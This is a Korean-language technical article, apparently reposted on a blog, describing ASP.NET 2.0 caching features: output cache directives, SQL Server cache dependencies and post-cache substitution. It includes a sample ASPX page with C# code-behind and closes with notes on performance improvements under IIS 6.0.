웹 응용 프로그램의 성능을 향상시킬 수 있는 한 가지 방법은 메모리에서 정적 콘텐츠를 캐시하는 것입니다. 캐시된 콘텐츠는 새로 렌더링된 콘텐츠보다 항상 빠르게 반환됩니다. 하지만 단점은 캐시된 콘텐츠가 오래되어 내용이 부실해질 수 있다는 것입니다. ASP.NET 1.x에서는 다음을 비롯하여 여러 가지 캐싱을 지원합니다.

  • 페이지 수준-각 페이지를 전체적으로 캐시하거나 페이지에 액세스하는 데 사용된 매개 변수를 기반으로 캐시할 수 있습니다. 캐시된 페이지는 지정한 시간이 지나면 만료됩니다.
  • 페이지 조각-사용자 컨트롤(.ascx 파일)을 사용하여 페이지를 만든 경우 나머지 페이지 콘텐츠와 별도로 이 사용자 컨트롤을 캐시할 수 있습니다.
  • 프로그래밍 방식 캐싱-개발자는 캐시 API를 통해 개체를 캐시할 수도 있습니다. 캐시 API 사용의 확실한 이점은 캐시를 플러시해야 하는 경우를 위해 다른 종류의 종속성을 만들 수 있다는 것입니다.

ASP.NET 2.0에서는 페이지 수준의 캐싱 메커니즘이 확장되어 데이터베이스 종속성을 지원합니다. 데이터베이스 캐시 종속성을 사용하면 캐시된 페이지를 SQL Server 데이터베이스의 특정 테이블에 연결할 수 있습니다. 테이블이 변경되면 캐시가 자동으로 만료됩니다. 또한 개발자는 이제 사후 캐시 대체 기능을 사용하여 캐시된 콘텐츠의 일부를 새로 고친 콘텐츠로 바꿀 수 있습니다. 사후 캐시 대체를 사용하면 페이지의 일부를 동적으로 생성해야 하는 경우에도 응용 프로그램에서 페이지 수준의 캐싱을 사용할 수 있습니다.

데이터베이스 캐시 무효화

대부분의 데이터 기반 웹 사이트에서 캐싱은 어려운 문제일 수 있습니다. 특히 캐싱이 필요한 상황에서 최신 데이터가 필요한 경우에는 더욱 그러합니다. ASP.NET 1.x에서 페이지는 지정한 시간 동안 캐시할 수 있었으며, 입력 매개 변수(쿼리 문자열 또는 POST 매개 변수)에 의해 구성되었습니다.

목록 5. ASP.NET 1.x 출력 캐시 지시문

<%@ outputcache duration="3600" varybyparam="ProdID" %> 

예를 들어 목록 5의 코드는 ProdID 변수를 기반으로 한 시간 동안 메모리에서 페이지를 캐시합니다. 위의 예에서 발생하는 문제점은 관련 업무 데이터가 다른 곳에서 업데이트되는 경우 수행해야 하는 작업입니다. 예를 들어 제품 카탈로그 페이지가 제품 ID에 의해 캐시되는 경우를 가정해 봅시다. 가능한 수량이나 가격 등 이 제품에 대한 정보가 관리 사이트에서 업데이트되는 경우 잘못된 데이터가 캐시되어 고객에게 표시됩니다. 이전 버전의 ASP.NET에서 이 문제를 해결하려면 Response.RemoveOutputCacheItem을 사용하여 캐시에서 페이지를 수동으로 제거하거나 duration 시간이 만료될 때까지 기다린 후 시스템에서 자동으로 페이지를 업데이트하도록 해야 했습니다.

ASP.NET 2.0에서는 데이터베이스 캐시 종속성을 지원하므로 이러한 문제가 해결됩니다. SQL Server 7 및 2000에서 작업할 경우 테이블 수준 알림을 사용할 수 있으며, Microsoft SQL Server 2005에서는 보다 세분화된 수준으로 알림을 제공합니다. 예를 들어 다음 코드는 최대 한 시간 동안 제품 페이지를 캐시하지만 데이터베이스 테이블에 두 번째 종속성을 추가합니다.

목록 6. ASP.NET 2.0 데이터베이스 캐시의 예

<%@ outputcache duration="3600"   varybyparam="ProdID"   sqldependency="MyDatabase:Products" %>

sqldependency 특성을 사용하면 Products 테이블이 변경될 경우 캐시된 페이지가 만료됩니다. sqldependency 특성은 web.config 파일에서 구성된 datasource를 참조해야 합니다. datasource는 데이터베이스 연결 및 필요한 매개 변수를 식별하여 종속성 알림 작업을 수행합니다.

사용자 지정 캐시 종속성

ASP.NET 2.0에는 Microsoft SQL Server를 지원하는 단일 CacheDependency 구현인 SQLCacheDependency 클래스가 있습니다. 새 캐시 종속성을 구현하는 작업은 포함된 프로세스이지만, ASP.NET 2.0의 확장성으로 인해 구현이 가능합니다. 즉, 사용자 고유의 CacheDependency 클래스를 만들어 Oracle이나 Sybase 등의 다른 데이터베이스 시스템과 유사한 기능을 제공할 수 있습니다.

사후 캐시 대체

일부 페이지 요소는 동적으로 유지되지만 페이지에서 대부분의 요소가 캐시를 사용하는 경우, ASP.NET 2.0에서는 사후 캐시 대체라는 기능을 제공합니다. 사후 캐시 대체는 페이지를 사용자에게 표시하기 전에 캐시된 페이지에 있는 특정 요소를 다시 계산해야 함을 ASP.NET 런타임에 알리는 데 사용됩니다.

다음 두 가지 방법으로 이 기능을 사용할 수 있습니다.

  • Response.writeSubstitution 메서드를 호출하고 대체 콜백 함수에 대한 참조를 전달합니다.
  • 웹 페이지에 <asp:substitution> 컨트롤을 추가하고 methodname 특성을 콜백 함수의 이름으로 설정합니다.
  • 어떤 옵션을 사용하든지 종속성의 기간과 위치를 지정하는 @OutputCache 지시문을 페이지에 추가해야 합니다.

사후 캐시 대체 구현

사후 캐시 대체를 인식하는 컨트롤을 만들어 이 기능을 활용할 수 있습니다. 이러한 컨트롤의 예로는 AdRotator 컨트롤을 들 수 있습니다. 목록 7은 다음과 같은 페이지를 나타냅니다.

  • Pubs 데이터베이스의 작성자 테이블에서 데이터를 검색하는 페이지
  • 데이터를 GridView 컨트롤에 결합하는 페이지
  • AdRotator에서 광고를 표시하는 페이지
  • 레이블 컨트롤에 페이지를 만든 시간을 표시하는 페이지

목록에서 굵게 표시된 <asp:substitution> 컨트롤도 이 예에 추가되었습니다. 이 컨트롤은 문자열 출력(이 경우 현재 시간)을 반환하는 메서드인 uncachedUpdatemethodname 특성을 설정합니다. 이 대체 컨트롤은 캐시된 대상과 상관없이 정확한 시간을 반환합니다.

목록 7. PostCache.ASPX 소스 코드

<%@ Page language="c#" Codebehind="PostCache.ASPX.cs"   AutoEventWireup="true" Inherits="WebApplication1.PostCache" %><%@ outputcache duration="30" varybyparam="none" %><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" ><HTML>  <HEAD>    <title>WebForm1</title>  </HEAD>  <body MS_POSITIONING="GridLayout">    <form id="Form1" method="post" runat="server">      <DIV style="DISPLAY: inline;        Z-INDEX: 101; LEFT: 32px; WIDTH: 160px;        POSITION: absolute; TOP: 24px; HEIGHT: 8px"        align="right" ms_positioning="FlowLayout">          this page was created at:      </DIV>      <asp:Label id="CreatedTime"        style="Z-INDEX: 102; LEFT: 200px; POSITION: absolute;        TOP: 24px" runat="server" Width="120px" Height="16px">      </asp:Label>      <asp:substitution id="UpdatedTime" methodname="uncachedUpdate"        style="Z-INDEX: 103; LEFT: 200px; POSITION: absolute;        TOP: 48px" runat="server" Width="112px" Height="11px">      </asp:substitution>      <DIV style="DISPLAY: inline; Z-INDEX: 104; LEFT: 32px;        WIDTH: 160px; POSITION: absolute; TOP: 48px;        HEIGHT: 16px" align="right" ms_positioning="FlowLayout">          and last updated at:      </DIV>      <asp:AdRotator id="Ads" style="Z-INDEX: 105; LEFT: 312px;        POSITION: absolute; TOP: 16px" runat="server"        Width="80px" Height="60px" AdvertisementFile="img/Ads.xml">      </asp:AdRotator>    </form>  </body></HTML>

이 페이지의 코드 숨김 파일에는 uncachedUpdate 메서드에서 사후 캐시 대체를 지원하는 데 필요한 이벤트가 포함됩니다. Page_Load 메서드는 페이지를 로드한 시간을 보고하므로 캐싱이 발생하는 시간을 파악할 수 있습니다.

목록 8. PostCache.ASPX.cs

using System;using System.Collections;using System.ComponentModel;using System.Data;using System.Drawing;using System.Web;using System.Web.SessionState;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.HtmlControls;namespace WebApplication1 {  public class PostCache : System.Web.UI.Page  {    protected System.Web.UI.WebControls.Label CreatedTime;    protected System.Web.UI.WebControls.Label UpdatedTime;    protected System.Web.UI.WebControls.AdRotator Ads;    private void InitializeComponent()  {      this.Load += new System.EventHandler(this.Page_Load);    }    private void Page_Load(object sender, System.EventArgs e) {      CreatedTime.Text = DateTime.Now.ToShortTimeString();      }    protected String uncachedUpdate()  {      return DateTime.Now.ToShortTimeString();    }  }}

사후 캐시 대체 기능 사용

그림 6은 PostCache 페이지의 출력을 보여 줍니다. 응용 프로그램을 처음 실행할 때 "Page created time"과 "Last updated time"이 일치하는 것을 볼 수 있습니다.

그림 6. PostCache.ASPX의 출력

이후에 같은 페이지를 호출하면 사후 캐시 대체의 효과를 확인할 수 있습니다. Page created time과 이미지는 동일하게 유지되지만 Last updated time은 변경됩니다.

그림 7. 두 번째 요청 시 PostCache 출력

캐싱 지시문으로 인해 Page created time과 adRotator 이미지는 일정하게 유지됩니다. 페이지는 30초 동안 캐시됩니다. 이 시간이 지나면 다음 요청 시 Page created time과 adRotator가 업데이트됩니다. 그러나 uncachedUpdate() 메서드를 호출하는 <asp:substitution> 컨트롤은 캐시된 상태와 상관없이 페이지가 요청될 때마다 업데이트됩니다.

사후 캐시 대체를 적절히 사용하면 개발자는 페이지의 동적 부분만 업데이트함으로써 웹 응용 프로그램의 성능을 크게 향상시킬 수 있습니다. ASP.NET 2.0에서 개발한 웹 응용 프로그램을 데이터베이스 캐시 무효화 및 비동기 페이지 업데이트 기능과 함께 사용하면 웹의 일반 요청 및 응답 아키텍처로 인해 발생하는 여러 제한 사항을 없앨 수 있습니다.

성능

ASP.NET 2.0의 인프라 변경 사항 및 추가 기능에 대해 설명했습니다. 그러나 아직 ASP.NET 2.0의 성능에 관한 의문 사항이 남아 있습니다. ASP.NET 2.0이 아직 개발 중이기 때문에 성능 메트릭을 사용할 수는 없지만, ASP.NET 2.0 프레임워크의 모든 면에 걸쳐 성능을 유지하거나 향상시키는 데 많은 노력을 기울여 왔습니다.

향상된 요청 파이프라인

모든 개발자가 향상된 성능을 확인할 수 있는 영역은 요청 파이프라인입니다. 많은 이벤트가 새로 추가되었지만, 기본 ASP.NET 요청 스택은 ASP.NET 1.1의 요청 스택보다 최대 30% 빠릅니다. "Hello World"를 표시하는 간단한 페이지를 만들어 향상된 성능을 평가할 수 있습니다. 이 페이지에는 고급 기능이 없기 때문에 ASP.NET 2.0을 IIS에 연결하는 ISAPI 플러그 인을 비롯하여 HTTPHandlerHTTPModule 파이프라인을 직접 테스트할 수 있습니다. 보다 빠른 처리를 위해 이 코드가 최적화되었기 때문에 사용 중인 IIS 버전에 상관없이 향상된 성능을 확인할 수 있습니다.

IIS 6.0으로 향상된 메모리 관리

ASP.NET 2.0에서는 IIS 6.0을 함께 사용할 때만 성능이 향상되는 경우가 있습니다. 예를 들어 IIS 6.0의 경우 100명의 사용자가 동시에 여러 개의 컨트롤이 있는 페이지를 요청하는 로드 테스트에서 작업자 프로세스의 작업 집합이 약 50% 감소되었습니다. 이러한 결과는 지정된 서버의 경우 운영 체제에서 이전에 필요했던 리소스에 비해 절반 정도의 리소스만 사용함을 의미합니다.

어느 정도 복잡한 ASP.NET 페이지를 테스트한 결과, 같은 페이지를 IIS 5.0에서 실행했을 때에 비해 시스템 로드(메모리 및 CPU 사용량)가 크게 낮아졌습니다. 이러한 성능 향상은 관리 메모리에서 고유 메모리로 응답 버퍼를 이동함으로써 가능해진 것입니다. ASP.NET 2.0에서는 관리 메모리를 특정 응답에 고정할 필요가 없으므로 리소스 병목 현상이 없으며 각 요청에 대해 응답이 보다 빨리 생성됩니다.

기타 성능 향상은 IIS 6.0과 Windows 운영 체제 커널을 견고하게 통합하여 이룬 것입니다. IIS 6.0에서는 커널 수준에서 일부 캐싱 및 버퍼링을 수행하므로 ASP.NET을 비롯한 모든 웹 응용 프로그램의 성능이 향상됩니다.

기타 향상된 기능

개발자는 ASP.NET 2.0의 기능 수행 속도가 ASP.NET 1.x와 같거나 더 빠르다는 것을 알게 될 것입니다. 핵심 기능이 모두 포함된 최종 ASP.NET 2.0 릴리스에서는 더 많은 성능 향상을 확인할 수 있습니다.

결론

ASP.NET 2.0에서는 개발자의 생산성을 높이기 위해 다양한 구조적 기능이 향상되었습니다. 코드 모델이 향상되어 충돌을 줄이고, 컴파일 프로세스가 확장되어 웹 응용 프로그램을 컴파일 및 배포하는 옵션이 보다 다양하게 제공됩니다. ASP.NET 프레임워크의 확장성은 개인 설정, 마스터 페이지, 관리 사이트 등을 비롯하여 ASP.NET의 여러 가지 새 기능을 지원하는 새 HTTPModulesHTTPHandlers를 통해 다시 한 번 확인되었습니다. 데이터베이스 종속성과 사후 캐시 대체를 사용할 수 있도록 캐싱이 향상되었습니다. 내부적으로 ASP.NET 2.0에는 이전 버전에 비해 크게 향상된 기능이 포함되어 있습니다. ASP.NET 2.0의 새로운 구현 방식은 업계 최고의 방식을 따르는 동시에 다양한 개발자 중심의 향상된 기능을 통합합니다. ASP.NET 2.0에서는 복잡한 엔터프라이즈 웹 응용 프로그램 개발 작업을 처리할 수 있는 세계 최고의 웹 개발 플랫폼을 제공합니다.

관련 서적

 

Posted by tornado
|